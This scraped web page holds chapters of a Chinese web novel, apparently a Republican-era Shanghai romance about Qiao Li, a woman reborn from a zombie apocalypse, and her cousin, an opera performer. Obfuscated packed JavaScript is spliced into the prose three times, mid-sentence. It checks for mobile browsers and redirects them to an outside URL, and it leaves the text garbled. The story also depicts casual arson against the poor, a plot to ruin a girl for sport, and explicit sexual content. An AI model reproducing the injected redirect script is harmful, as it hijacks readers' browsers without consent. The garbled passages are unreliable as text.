l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615142|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的能量。幼时你学习,明明久坐不动,却还会饿,就是因为如此。” 周莲泱盘腿坐在她面前,讶异地睁大了眼睛。 “而我需要的远比四分之一更多,甚至掠夺了其它器官发育的机会,所以才需要大量进补,供给消耗,直到发育完成。在这之前,所谓的宿慧,也只是一些凌乱不成形的碎片罢了。” 非要说的话,她的经历早已脱离科学的范畴,毕竟乔璃也能算作一个“穿越者”。 上辈子,她生活在一个历史人文都与现在差不多的蓝星,只是在公元20xx年,陨石碎片带来的外星病毒席卷了全球,一个晚上就夺取了十亿三千万人的性命。 这种疯狂的传染病持续发酵,而大量出现的死者并非真正死去,而是成为携带致命病毒的恐怖丧尸,常人一但被他们咬伤或被抓伤,就会受到感染。 进化成为了普通人生存的唯一凭仗。病毒在杀死人类的同时也激发了生物进化的本能,人类像无数小说和影视作品中的那样觉醒了异能,依靠不同的能力彼此合作,集群存活。 乔璃并没有成为异能者,但受辐射影响,她大脑活性被异常激发。虽然过程痛苦,就结果而言也算一件好事——她带领的研究团队制作出了净化病毒的解药。 上辈子的记忆,分明清晰,却感觉已经极其遥远了。恐怖的丧尸,幸存者的勾心斗角,还有研制药剂的反复与艰难,都好像大梦一场。 乔璃捡了些周莲泱能理解的事,还有与玉关柳的全部争锋,一一坦言。 只是隐藏下末世里的某些……远比两人曾经流亡凶恶得多的经历,真全说出来,怕是要吓坏表哥。 眼下看周莲泱这副大脑彻底宕机的呆模样,她就知道,隐瞒是必须隐瞒的,也许日后可以提及。 “暗杀……你说泰春班?” 周莲泱睁大双眼,呼吸都不敢大声了,贴着她,睫毛一扑一扑,声音压得极低。 “熊槐手上有人命,包括严雪辕,恐怕她从小就作为谋杀的一份子,参与玉关柳的计划了。”乔璃耳朵有些痒,又笑,“女人与小孩,总是容易被忽略的。” “至于吸收进戏班的荤角,表哥以为玉关柳何苦开一月三五十银,要什么给什么?筛选出来得用的,自然要替她收集情报,必要时亲自动手,如翠姊一样。” 乔璃的话带来的冲击相当大,周莲泱怔愣一会,又觉得蛛丝马迹,无一不早将事实展现在眼前了。只是,凭他自己,是根本看不出来的,泰春班表面就是个蚀骨地、销金窟,哪怕玉关柳比寻常老鸨风光些,也绝想不到那样软玉胭红的女子,会是搅动风云的杀人手。 “所以……囡儿病好了么?可以跑跳,可以大笑,不会总是受凉卧床,怎么也好不了?” 青年面色有些恍惚,更多的是无处安放的惊喜,绽放出稠美如花的浓艳:“表妹好了?” “我好了。”乔璃叹了一下,主动抱住他。 他的双臂紧紧收起来,那么用力,令她的背脊都有些痛。他眼中纯粹欣然的喜意,牵得她心脏也有一瞬的皱缩。 上辈子,有人爱她,有人恨她,有人将她奉为神明膜拜。可无论是谁,都未曾改变她。 最后,她也因为永不改变的无情,死于末日结束后的欢庆。 但眼前这个人,是她唯一没有预料到的,失忆的乔璃抓住的……一颗心。 他喉结处一圈叠一圈的红晃得乔璃抿了抿唇。 “表哥,我会为你赎身,只是……” “只是什么?囡儿不用急,赎不赎身都无所谓,只要你病好,能康健地去上学,表哥什么都不需要。”周莲泱轻吻着她的额心笑道。 乔璃想要的当然不只是这点盼头。 她想要玉关柳手里的人脉、情报和势力,想要能够挥霍的财富,想要能让所有人都闭嘴、抹杀一切反对之声的——强权。与人打交道,总让她觉得有些无聊——嫉妒,愤怒,喜悦,悲哀,死去活来地相爱分离,乔璃食来总味同嚼蜡。 若只有她一个,自然怎样都可活。 “我不能去圣玛丽亚女中。” 周莲泱失笑:“囡儿想去哪里?若日后不用吃药,我大概还供得起。” 面前之人眼中温柔又带着些不忍,唇瓣轻碰他的面颊,缱绻地唤他的名字:“为了合适的人脉,我必须去上西女学。玉关柳在看见真正的利益之前不会投资更多……” “所以,莲哥哥,我需要你多赚一点钱。” 23.壹 谑戏作赌 “烧仓房?” 高大的香樟树下,梁慧秀叼一支细长的女士烟在嘴里。旁边的孙金学孙少爷适时打燃火机,给这位金尊玉贵的大小姐点烟,嘴里还不忘应和着:“听着恐怖吧?其实很痛快,又没人管。” “恐怖?我打木仓都打得,还怕区区仓房?”年纪决不够成年的女子紧了紧肩上的丝绸披风,两只大大的猫似的眼把孙金学那么一瞧,嘴角往下一撇,“你城中跑马还不足,又烧谁的仓房?想上天不成?当心皮被你老子扒下来!” “慧秀,你脾气也太急了一些,这样金学还怎么讲故事?” 另一个穿着浅白色细丝衬衫、外套羊绒薄西服的公子哥儿嘴里也咬一支烟,抽出一条雪花绸手绢,给面前女子细细揩一揩手。 唐昕的家世是簇拥在梁慧秀身边三四个公子哥儿中最好的一个,父亲是海市政府委员会副主席,一张巧嘴也最会捧人。 总归唐少爷肯哄人,又到底与她有那么点儿沾亲带故的关系,梁慧秀终于施舍一个笑,眼睛却没弯:“总归是糟蹋东西那起子事,没意思得很。” “哟,梁大小姐也知道什么叫‘糟蹋东西’,这可真真不得了。”另一个身材瘦小、戴眼镜的青年话里酸气十足,“也是,梁姐姐有了‘新欢’,净捧着乔小姐,自然不把我们这些‘旧爱’放在心上。” 他这话说得不清不楚,梁慧秀皱皱眉,心知自己这几日也是冷落了这一帮总捧着自己的老友,冲话一时还说不得,只道:“便是你要讲故事,也得等乔璃过来。没打招呼突然就约人,我就算了,人家还要考试,哪能这么随便?” “好了好了,那我们就等一等。” 唐昕递了个眼色给最不耐烦的孙金学,为僵硬的气氛打圆场:“知道梁大小姐会疼人。再说,我们也不是随便约你,金学也是刚得到消息。” “什么消息?”梁慧秀终于提起一点兴趣:她的这些好朋友,虽然有一个算一个,都是家中说不上什么话的小儿子,但消息倒还灵通。同他们出去玩,就没一次无聊的。 孙金学卖起关子:“这回不等你的好跟班来了?怎么也不见宓小姐?” 梁慧秀咬牙切齿起来:“还不是我走到半道,怕你们等,就让语柔回去接乔璃,谁知有人不识好人心——” “这倒算我们的不是了,实在没想到现在是你们的夏考。”不等大小姐真发出火来,唐昕熟练地劝慰道歉。 他本来就是斯文俊秀的一张脸,此刻眼角唇畔盈满笑意,偏又因为五官的清秀而不显得谄媚。三言两语后,见梁慧秀消气,又主动做东,请她去附近茶楼等人。 点了上好的茶和时令点心小菜,唐昕不着痕迹地打量明明耐心比孙金学更稀少、忍不得一点委屈的梁慧秀。她靠着窗棂,手指不安分地揪揉那条水蓝的披肩,好好的丝绸被揪得抽了丝,主人俨然是很不耐了。 自几人认识开始,宓语柔就跟着梁大小姐,同样是“跟班”、“跑腿”角色,那也是个有心计的,从未敢说让梁慧秀久等。 这乔璃究竟是个什么人,竟能在短短几周,驯服一头泼辣扎手的母老虎? 在梁慧秀觉察前,唐昕将眼光投向窗外,装作和她一起赏景。 茶楼正对着一个大公园。此刻是下午,绿草成茵,阳光依然明媚,却掩盖不住青年眼底的晦涩。 ------------------------------------------------------ 却说这淮海路附近的公共租界大公园,是几年前新修的,园内假山、喷泉,长廊,建筑原汁原味参考西洋公园,为少数可供女子任意游玩赏景之地。 到了四月之尾,五月之初,大片的月季花开了,织成一张硕大无比的花网,从公园外围一直绵延到芳草青青的园心湖。 这个时候,海市春日的寒已尽除,六月的梅雨尚未到来,正是游玩的黄金时节。 这样美好的夏景自然也光顾离大公园不远的上西女校。一进门就看见一棵棵抖擞的香樟树,树上长满青翠的叶子,侧立栅栏上垂下一团团紫色的云雾,紫藤花儿重叠逶迤,藤蔓与爬墙虎互比浓绿。 正值天气晴和,极好的光景,高级班甲班的女学生们心情却算不得上佳。 今日正是夏季期中考试的成绩公布,能进上西的都是天资聪颖兼身家金贵的富小姐们,不太在乎区区一女校的成绩,但总不愿意随便让人比下去。 人文、科学,语言三类,虽说学得不太深,可考起来,那些顽固的传教士们当真不好糊弄。 “语言第一又是那新来的!”白知梦将身前的纸笔书籍一推,两只衫袖胡乱卷起一点,鬓发微乱,很是不顾形象了,“她不是个乡巴佬么?怎么语言能拿了上等?还有加分?我头次看见考试能加分!” “听说是用德语写了一篇抨击时事的文章。”邹采珊的脸色也算不得好,可面对摊在面前的测试卷,谁还能质疑? 她与白知梦,从初级班开始,头、次两名的宝座一直是二人交替换,是老师们的心头宝。结果年初进一插班生,除了推荐,还实打实有好聪明,不轻易接受插班的校长当即同意。白知梦还以为那是吹牛皮,结果人一来,次次测验,再没两人争的份了。 有个没有短板的怪物在,拿第二又剩什么荣誉可言! 邹采珊心里也觉得烦,可她比家里几个不争气的兄弟,自己早已叫父亲极满意了,拿不拿头名的,倒也不那么重要:“我们的乔大文曲星呢,又去哪儿了?” “不会又提前离校了罢。” 隔一个桌子,总是沉默寡言的苏真面孔微微放出些红色,声如蚊吶:“她出去了。说是去找梁家的小姐。” 日常竞争的三人间,因为这句话,凝出片刻沉默。 “……就这么跟定梁慧秀了。”白知梦不自在地抻抻袖子,别别扭扭地说,“她家——是不是有什么困难?” “我瞧她捧人,可不像受什么委屈的样子。你一个手下败将与其担心别人,不如多学一门语言。”邹采珊仿佛没看见白知梦的怒目而视,说道,“人各有志,你也不是小孩,应该懂吧。” 苏真捏了捏指尖:“可,可梁……那是个纨绔……” 她是最容易害羞的,背后说人坏话,实在不容易。 “梁慧秀是浙江督军的独女,唯一的嫡血脉,纨绔又怎么样?” 邹采珊挂着一副让白知梦总觉得无趣的平静面孔,丢下这么一句话,收拾起卷页:“别忘了,过两天还有最后一门人文,我们唯一的机会。” “说得乔璃人文就不好似的。”白知梦嘟囔一句,想起那些次次满分的数学卷子,眼前就是一黑:到底怎么长得脑袋,能将那些打结的数字全都算对! 如果还能在哪找出些分扣的话,也只有国文一科了…… 她和邹采珊还能互说一句既生瑜何生亮,对上新学生,那真是无脸见人。 ------------------------------------------------------ 回到茶楼,一伙人等了半天,没等到正主,倒把宓语柔等回来了,跟在她身边的,还有一个穿印花青缎马褂的青年。 这位也是个风度翩翩豪华逼人的公子哥儿,抬脚上楼,手里还握着一马鞭,脸膛晒得发红,俨然刚从城外跑马回来。 一进门,这青年就抖起手,也不知道是在质问、还是在打招呼:“可不得了,谁牌面那么大,让咱们的宓小姐杵在学校外面晒太阳?” 随他一指,跟在后面小步走的女子也露出身形。她挽着如意发双髻,身上一套淡蓝衣裙,用细白条辫周身来滚了,是常见的女学生模样。 这一身衣裙略宽松,配一张红通通汗津津的脸儿,显得尤为弱不胜衣、可怜可爱起来。 “天佑都来了!”戴圆眼镜的邱宇邱三少格外不满起来,“怎么出动宓小姐,也不见人?累成这样,快坐下歇歇!” “见人?见谁?让语柔特地去请?”尹天佑撑开两道细细眼皮,把双眼瞪起来:“你们都在等?好大的排场!” 孙金学早憋了一肚子气,有人问起,那可真是点燃了爆竹,噼里啪啦响起来:“倒也不是特意等,而是慧秀等不到人来,就不愿意听我们讲话。这个星期六,同乐会场开业,先有几场不对外开放的营业,我得到消息,巴巴跑过来教梁大小姐知晓,却碰了一头灰!” 唐昕一边喝茶一边拱火,语气悠然:“金学从他老子那里听见,还没焐热呼就叫上我们来找你,谁知……” “好了,再怎么新开,不就是个破赌场,当我稀罕?”梁慧秀两眉立起,转身对宓语柔,“我叫你去接人,人呢?” 宓语柔跑这么一趟,心里不痛快,可面对梁慧秀,也不敢给自己抱不平:“问了老师,乔璃第一个考完,交卷就走了。我没碰上,许是错过了。” “第一个交卷?”梁慧秀眼睛亮起来,心中郁闷不耐也消散几分,转回去对着几个狐朋狗友傲然道,“听见没有,我这新朋友可厉害着呢,同你们不一样。次次考试,次次第一,不仅会英文拉丁文,连德语也讲得很流利!” “嘿!我同你说的同乐会场,是全海市最豪华的一处。华国的,西洋的,你见过的没见过的赌法一应俱全,还有免费小轿车接送。周六的局,不是腰缠万贯的,等闲不让你进!”孙金学如炮弹一样,一气把心里想的全说了,“吹得再天花乱坠,也只是学校里小女孩过家家,又是个乡下来的土包子,进了赌场,你看会不会被吓傻!” 梁慧秀的圆脸以肉眼可见的速度涨得通红,额外秀气的嘴抿得死死的,把唐昕唬一跳:他是等着瞧好戏,却不想真激怒大小姐。 又妒,梁慧秀真是好拿捏,不过几句话,就气成这个样子,也只有陆军师长的家庭,能养出脾性这么大的姑娘。 不等唐昕转圜,梁慧秀就跳起来抢过尹天佑手中马鞭,跨得一下甩砸在桌面,将茶杯茶碗震得磕磕乱响:“好哇!你说我们是小女孩过家家,你们又算什么?能考第一给我争面子,还是在洋小姐叽里咕噜排揎我时骂回去找场子?不就是赌?乔璃能在学校里赢,也能在赌场里赢!” 孙金学梗着脖子喊起来:“我不信!你敢不敢跟我赌!” 孙金学扔了一样信物,尹天佑也将马鞭丢与桌上:“我跟,我养得那些好马,有几匹能赛的,就赌你那小跟班一进赌场就吓晕。” 梁慧秀昏了头,从怀里掏出一枚玉质小章扔在桌上,“这是我爹给我办的,去大通银行支多少钱都行,你看我敢不敢!” “好!”唐昕大笑起来,又说,“我是没你们那么富,好地段也有一栋宅子,就跟这个罢。” 梁慧秀听了这话,心里忽然一突。 几人话赶话,倒把她架上一个进退两难的地步:家里常说,几个熟人打打小牌赌一赌还不要紧,如果真去劳什子赌场,还是那么豪大的,到底不是她这种闺秀该去之地。 再有,她替乔璃把话撂下去,输钱还是小事,万一输了别的东西,可害了这位新朋友! 她一想通,手指不禁抖了抖,就想把桌子上的玉章拿回: “这……这!你们周末要玩,人家下周还有考试,我才想起来!” 唐昕轻飘飘笑激一句:“咳,说起来是我们不对,看你这一月总窝在学校和家里,还寻思梁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15633852|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大小姐什么时候变成听话的家雀了,果然还是雄鹰!” 梁慧秀转头怒目,却不妨肩膀被按了一按,耳畔响起一道清朗微缓的女声: “需知猛禽如隼、鹞鹰,金雕一类,向来都是雌性比雄性大得多。雌鹰天生傲视群雄,唐少爷这话可说错了。” 女子将一提封在白瓷杯里的凉茶搁到桌上,抚了抚袖口,在这个有点漫不经心的动作里,抬眼扫视包厢一圈,最后与有些紧张的梁慧秀对视。 身处很宽敞的茶楼包厢中,她一点没有寻常南方人的瘦小,与站着的尹天佑居然差不多高。这样高的身量,也只有银杏色滚金丝的衫裙配得上,若是穿平常浅青,就要显小家子气了。 她大概也是从外面步行来的,和梁慧秀有几分神似、却更温柔和气的圆脸上浮着微红,眼波中有种格外利落意兴的神采,深处又沉淀着奇异的静。 原来梁大小姐一直等着的人,是这样的一个女子。 唐昕不得不承认,面前人是有几分脱俗的,心思一转,脸上时常挂的笑就更加捉摸不定起来:“好哇,是我孤陋寡闻了!慧秀,我猜这位就是乔璃乔小姐。” “小乔!”梁慧秀没理他,嘴里嘿了一声,几乎要跳起来,“你去哪里了,怎么让我等这么久?今日考试可难,你比得过邹装相么?” 乔璃垂眸,指着桌上的凉茶笑道:“必是第一。你之前不是总怕热,家里不许吃冰淇淋,我考完试,顺道去了一趟药材店——提前定了凉茶给你,还有配好的茶包。上年纪的人也可以喝。” “啊呀,却是对,你说要给我取凉茶,我给忘了!”梁慧秀连忙抓住她的手,不知从哪里扯出一方帕子,要给乔璃擦汗,“你快坐下,早知道我派汽车去接你,不要你受这样的累。” 周遭几个男性朋友,哪见过天天眼睛长在头顶看人的梁大小姐这幅忙前忙后似的模样,眼睛都要惊得掉出眼眶。等梁慧秀终于有空理会他们了,也不过是抬起一根手指点过去,很敷衍地说:“这些就是我的朋友,同你讲过的。” 说罢,又扯她的衣摆:“小乔,礼拜六你陪我去同乐会场行不行?他们非要我邀你去,咱们就过去看看,你不喜欢,我们坐车回学校。” “喂,这算什么?”尹天佑最是混不吝,听了拍拍手下马鞭,“局都开了,怎么正主到,反而要逃?” “哪个要逃!”梁慧秀气急,被乔璃从背后摸了一把头发,又软下去,“乔璃,你说怎么办?” 乔璃轻笑:“你别急。我只听了一个话尾,同乐会场是什么地方?” “是你去不得的地方,现在认输,到时候不至于太丢脸。”孙金学在一旁张牙舞爪。 “去赌?我不介意,但大多数玩法应该是没见过的。” “那要什么紧,到时候荷官自然会介绍。” 三言两语下,周六去同乐会场这件事就这么定好,梁慧秀有点被摆一道的感觉,忍不住气,少不得添一句话:“赢了都是你的,输算我,尽管玩,不必管他们,怪讨厌的。” 这考虑得实在是太周全,周全到唐昕都有点怀疑眼前的到底是不是万事不管只顾自己开心的梁大小姐。 人都到齐,孙金学终于可以开始讲那个憋了许久的烧仓房故事。一番折腾下来,孙少爷早已失去显摆新鲜事的心态。 什么是“烧仓房”?不过就是浇上汽//油,扔一根擦燃的火柴,看它忽然起火——这就完事了[1]。 “难道不是犯罪么?”宓语柔问。 “烧的是穷鬼家的仓房,谁敢过问呢?只是远远看火腾起来有几分趣味罢了。” 梁慧秀撑着头撇嘴:“真无聊。” “是是是,所以才要去那新开的会场。” 故事虎头蛇尾,唐昕目光一扫,与坐在角落的宓语柔眼神相碰。梁大小姐并不理解这个故事的隐喻,但他知道宓语柔明白。 唐昕自信自己是几人中最摸得准梁慧秀性子的,爱情的快乐早已尝腻,他现在最想做的就是将梁慧秀收入囊中,不妨跳出这么一匹拦路黑马。 那种向上爬的野心,渴求捷径的欲望,他在太多平民出身的女孩眼里看过。梁慧秀的家世,他们这些公子尚且妒忌,更别提一个乡下来的女学生。 包括过着富家小姐的日子,实际上却是下仆孩子的宓语柔。 捧着梁慧秀,私下里却勾搭她的好跟班,已经不再能激起唐昕的兴趣。但毁灭这个新来的、让大小姐团团转的聪明女学生,从今天起,会成为他的新刺激。 他不介意花一点钱,用物质给她来一场上流社会的洗礼:用赛马、酒会、奢华服饰与食材将这个女孩养起来,她就会渐渐失掉梁慧秀的兴趣。 没了大小姐的阻拦后再甩掉她,看她绝望,落泪,丢掉仅有的尊严,届时那种崩溃的风景,是最安全又最新鲜的游戏[2]。 就像烧毁一座仓房。 天真的女孩,聪慧的女状元,与以前都不一样的新玩具,会什么时候察觉真相,有会有什么样的反应呢?唐昕很期待,也很跃跃欲试。 做下这样的决定,碍路者的一颦一笑都生动许多。但让他不满的是,乔璃对梁慧秀还好,投向别人的目光,总好像有几分走神。 让唐昕很想知道,她现在在想什么。 乔璃在想什么? 其实很简单。 一边与众人闲聊,一边发散思维,从绕路去药房挑拣质量最好的新药材给表哥换药方,到今夜泰春班将上的新戏,一直想到周莲泱遮遮掩掩、不许她翻看的新戏服。 贵妃醉酒,有一套登台戏服,自然还有一套,是只有唐玄宗能看的…… 床笫之装。 24.贰 贵妃醉酒 乔璃吻住他的时候,周莲泱正要提着衣摆去戏台。珠玉花冠压着他的头,使青年不能随意移动,乔璃呼出的气有些许酒味,湿暖的鼻息直往脸上扑,他还要顾着妆不要花,一时左支右绌。 一只恼人的醉猫儿。 下午同梁慧秀一行人吃了些酒,回程的冷风一吹,非但没有吹散酒意,反而使其更浓。乔璃眼睛有些迷离的看着他攥着水袖的手,一把柔韧有力的腰掩在宽大的戏服里,她便瞬间回忆起那种丰腴紧实的手感。口渴,嗓子深处稍有发干。 屋外喧嚣,屋内是沉寂的夜色,到处洒着脂粉与樟脑的气味。乔璃把双唇复又按回周莲泱的唇,仿佛那里有一口泉。手隔着水袖握住他的手,稍微一推,便将人推到妆台边。 她大半张脸隐在昏黄的灯影里,惟半抹眸光亮得吓人。他别过眼,水杏一样的眼描了红,眼尾天生微垂,勾出一种稚拙的无辜。他就含着这种天然的无辜,默默等待着。 这个吻缠绵得极慢极慢,慢到如蜗牛踱步,她仿佛要把他唇上的胭脂全部吃下去。 胭脂擦没,他的唇却不减半分殷红,唇珠被吮吸得微微肿起一点。周莲泱想挣开这醉鬼的手,却又被板住腰,她微微勾起头,避开戏服的金线白珠,枕到肩头。 “……我没醉。”乔璃的眼同星子一样,只在稍稍阖起时,才收敛几分刀锋的明利。 “你等我下戏。”周莲泱想推她的脸,落下去,又变成一种温怜的轻抚。“今日有考试,累么?不然早些睡吧。” 手腕多了一道发力,隔着水袖,也能触及她掌心热烫。乔璃抬起脸,没什么表情,双唇间吐出一个坚定的“不”。 周莲泱知道,表妹真正放松时,向来无甚表情,甚至有点凶。便不在意,终于将人从肩膀处挪走,整理衣衫,又涂一次唇脂。乔璃仍赖在窄窄的梳妆间,时不时摸摸他身上穿的贵妃戏服。 自她病好,其实已有半年光景,周莲泱还是不太习惯她行动如风的强势模样。 可其实自小时起,乔璃便长得比寻常女子快两分。他身量五尺三寸有余,她也怕只矮两寸而已,可自己已定型,表妹还有得长。调理好了,又开始同严雪辕学拳,很快他便要制不住她了。 当然他也并不真想桎梏那双血气滚烫的手。 今夜的主角推门而出。梳妆室外的戏台着实热闹,“金腰雀”唱出了名,泰春班借着名声繁盛起来,大半票友都来等这台“贵妃醉酒”。 但这热闹也是建立在一片荒凉之上。 要说她与玉关柳建立了些心照不宣的默契,对方也下功夫打点人脉,把她运作进全海市最上等的上西女中;又托孟家人情,许乔璃挂靠成乡下来的远方亲戚,才抹去下九流出身的尴尬。 这样一来,她每日下学就不得不先拐去孟家在百老汇路置的房产,再周折回乍浦路。近日见她适应得当,玉关柳又预计请孟彩霞教一教她大家小姐的一应人情礼仪,女红钢琴,甚至有意让她学习马术。 做到这个份上,只要兄妹二人负责日常开销,就连乔璃也无法对玉关柳有所指摘。 乔璃不自觉抚了抚衣袖。所以这样染色清雅、料子柔细的衣服,仍是靠他出卖皮肉换得的。还要时间,仍需时间。 ------------------------------------------------------ 月上中天,清亮的月光压不过灯笼光带的金红。戏台周围坐满了人,严树明陪一个头发银白却精神矍铄的老者坐于正中央。 台上的百花亭已备齐御筵候驾,身着华服的杨贵妃苦苦等候君王赏花饮酒。谁料月色迟迟,君王已幸江妃宫。 “海岛冰轮初转腾, 见玉兔又转东升。 冰轮离海岛,乾坤分外明, 皓月当空,恰便是嫦娥离月宫——” 声音一亮,夜,月,人,乐,都一一在视野中模糊下去,变成他唱音的陪衬了。 洁白幽香的玉兰静静绽放在月光里,满头珠翠的千岁娘娘已微微醺然,碎步走一个亮相,左手翻袖,往下一卧腰肢。 琴瑟铮铮,月的清冷与花的芬芳揉进顾影自怜的唱词。缠绵低诉,这么美的花,却没有人来欣赏,那么色衰凋零时,又会是什么情景? 杨玉环不敢再想了。他又大饮一杯酒,不再以袖遮掩。掷杯,翻袖,转身,含情荡漾的眼伤感地飞一眼波,身姿旋转,腰肢极尽摧折,深深卧于地面。 杨贵妃三“卧鱼”,是极考验伶人功底的,由他做来,好似羚羊挂角,浓艳自然。柔韧的腰身,将性别轻轻抹去,只余冷夜惜花的深宫女子。 扮高力士的,演小宫女的,满座票友,台上台下,都已看痴了。只有鼓琴弦的乐师,仍在演奏。 戏台上仿佛只剩他一人,所有的目光都汇聚在忘情翻水袖、醉眼朦胧捋玉兰的杨贵妃身上。看他大醉,看他够花,看他以舞已酒宣泄被负情的恼恨与悲痛。沁着月光的水袖翻飞,卷起凋残的媚态与荡纵,他衔着酒杯,失态尽绽,完全卧到地面。 扮高力士的连忙也跟着下卧,接住酒杯。 杨玉环这才甩袖大笑,叫高力士退下,独自望月。 半心情痴,半心迷狂。 纬帐落了下来,一幕戏已毕,掌声叫好才姗姗来迟。泰春班是怎样的班子,大部分票友都心中有数,却越来越多人为戏而来,只为捧一次“金腰雀”。 这是周莲泱第一次正式开演《贵妃醉酒》,一气唱半个时辰,汗湿的内服绷在背上,手指仍在发抖。 花冠的流苏挡了大部分视线,他竭力在人群中探寻,一下撞进一双深黛瞳眸。 乔璃接住了他的视线,漆黑的瞳仁中翻腾着深浓晦涩的欲望,似亮出的兽牙,咬着他的眸光。周莲泱像是被火惊烫一下,抽回眼神,双颊消退几分的热烫卷土重来,更加汹汹。 收拾退场,周莲泱刚卸下压得他头痛的花冠,就看见严树明冲他招了招手。戏台后的一小块空场里,待客时向来有些肃穆的班头振声而笑,精神格外好的老者同他握了握手。 “这位是商会的宋秋荣宋老夫人,也是一位戏痴。京城海市的戏班,若是有她大驾,便证明无一不好。”自家有人争光,严树明笑得和气。 宋秋荣等几人一来一回把客套话说完,才笑道:“这位小友年纪虽轻,却看得出是真心待戏的。” “宋老夫人谬赞。不知我能为您做什么?” 乔璃恢复记忆,周莲泱身上也产生了不小的变化。半年以来,戏艺更深,未放下的诗书钻研让那分读书人的清气温定更加明显。外在表现,便是在待人接物上也有一套温文的自然。 “哈哈,是不是谬赞,看泰春班多少戏本由你改编便可得知。听说你曾言‘学技必先学文,需揣摩字词,化入角色’。那么我问你,伶人之辈多矣,尔独擅场,何也?” 这并不是一句很陌生的话,周莲泱心神微动:“吾曹以其身为女,必并化其心为女,如男心一线犹存,则必有一线不似女,乌能争蛾眉曼瞥之宠哉。” “不错,这是《阅微草堂笔记》中纪昀所言戏谈。”宋秋荣沉然片刻,从怀中取一折报纸,递给周莲泱。“世人总言戏伎下九流,却不知千年诗词,戏曲传统,我华夏文化瑰宝,靠得反而是‘下九流’传续。” “京城有一名旦,姓梅,近日专门访沪。应当是都读过书的缘故,你二人在钻研戏曲之道上竟有些相像。若有空,不妨去观摩学习。” 周莲泱展开报纸,脸上浮起一丝惊愕——自己虽然并非不爱唱戏,可原本纯粹的喜爱中,已掺杂太多不堪与脏污。 他没有想到,这么一个有大家旧族之风的老夫人,会特地过来指点,仅因看出他确实有所不足。 周莲泱心里想着事,沐浴完毕走回阁楼,身子没什么力气,进门就被女子压来搂住。他推拒一下,未果,反而被一口叼住脖颈,一下什么思虑都散了。 “表哥想什么呢?”乔璃轻轻亲他下颌,把星星点点的吻布在颈侧。 就算这么问,此刻你又真能听进去什么话吗?周莲泱清润的面容上闪过几分无奈,又习惯性地纵容:“没什么,来吧。” 一袭水红滚金的薄衾裹着他,女子床笫间才会穿的小衣,一条玉色绸带松松缠着腰肢,在腰侧结成一枚顺滑的结。周莲泱抬起脸,洗尽铅华粉黛的面孔含着一股倦怠的媚态。 他的五官与皮肤都洋溢着年青的光洁与紧致,却早早浸入一种成熟的疲倦。 疲惫也是一种美。乔璃瞧着他的脸,不知该用什么语言描绘此刻的心情。她轻轻抚开他的长发,吻落于耳后那颗血红的小痣。 周莲泱微微颤抖,清瘦苍劲的手握住腰侧的那枚结,捻在手里,不知是想自己解开,还是诱着另一人撕开。 伴随亲吻落下的,还有一些细碎的喃喃自语。譬如她考了第一,譬如今日见了几个虚伪愚蠢的纨绔。 无论是穿越前,还是穿越后,乔璃都不是会将自己行踪汇报给什么人的性格。只是有一种奇怪的迫切——一日之长,两人只有夜晚能够相见,往往又因旁的事错过,所以想要对方知晓。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645623|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >这是从未有过的心情,很奇怪,但乔璃不讨厌。 “我让他们等了许久,其实并非取什么凉茶,是给你拿药。” 乔璃顿了一顿,从枕下摸出一个圆盒。打开,是淡青色的膏体。 周莲泱闭眼,再睁开,耳尖血红欲滴:“……药玉还不够么?我平日也在吃你定的药方,你怕我得那些病,怕我难受,我知道,但也太多了……” 而且她新配的这种膏体,对全身神经是另一种残酷的磨折。 “唔……其实,表哥就当满足我吧。” 她揽着他的腰,眼睛凝在他的肩膀,眼底闪着细微的暗色的痴迷与眷恋。那圆润白皙的肩头,带着些水汽与皂的清香。她俯首埋进他脖颈,这种浸入皮肤的馨香也染进她的身体。 乔璃的心懒怠疲倦,手却不慢。周莲泱攥住床单,膏脂如油般化开。又是那种清凉后骤然燃起的烧痛。 他抿着唇,心知过不了几分钟,自己就会变成湿漉漉水淋淋的一滩软物。 身上人安抚性地吻了吻他的后颈,只是刚把药膏涂上去,周莲泱就受不住了,拱起背,想要逃离那轻重都令他十分难受的折磨。 “别躲。” 吻换成噬咬,咬住后颈一块肉。 周莲泱快要被那些邪恶残酷的膏脂融化了,涂抹药膏时手指轻柔的拂蹭都似砂纸打磨一样痛苦。 “贵妃……表哥。唔,莲贵妃……” 她的唇舌绞着他的唇,周莲泱觉得自己仿佛在海浪之间翻腾,生命中的那股激烈正迫不及待地把他全部吞噬。头脑里有眩晕如白亮的漩涡搅动起来,双眸骤然涣散,心脏抽搐不休。 周莲泱没有什么力气地伏在面前,肩膀抽动,已极倦了,还抬起脸,求一个怜惜的吻。 指尖还裹着他的余温,乔璃垂头,吻了他。 周莲泱觉得腰有些泛酸,眼皮更是睁不开。起初不如何,总是这样,他也多少品出一点怪异。 鸾凤颠倒,他不肯用肮脏的身体去玷污表妹,可乔璃这么做,倒像是比男子还觉得享乐。 “……若我们还在周家,未来我也是要这样对表哥的。” 他问,她便咯咯笑起来,钻进他和被子之间的缝隙。 上辈子的末世,人有Alpha,Beta和Omega之分。她虽然是女性Beta,一样没有那个物件,但从来没有屈居人下的想法,便是Alpha也吃得。这个习惯带过来,未找回记忆前,也是按照天性的本能对人。 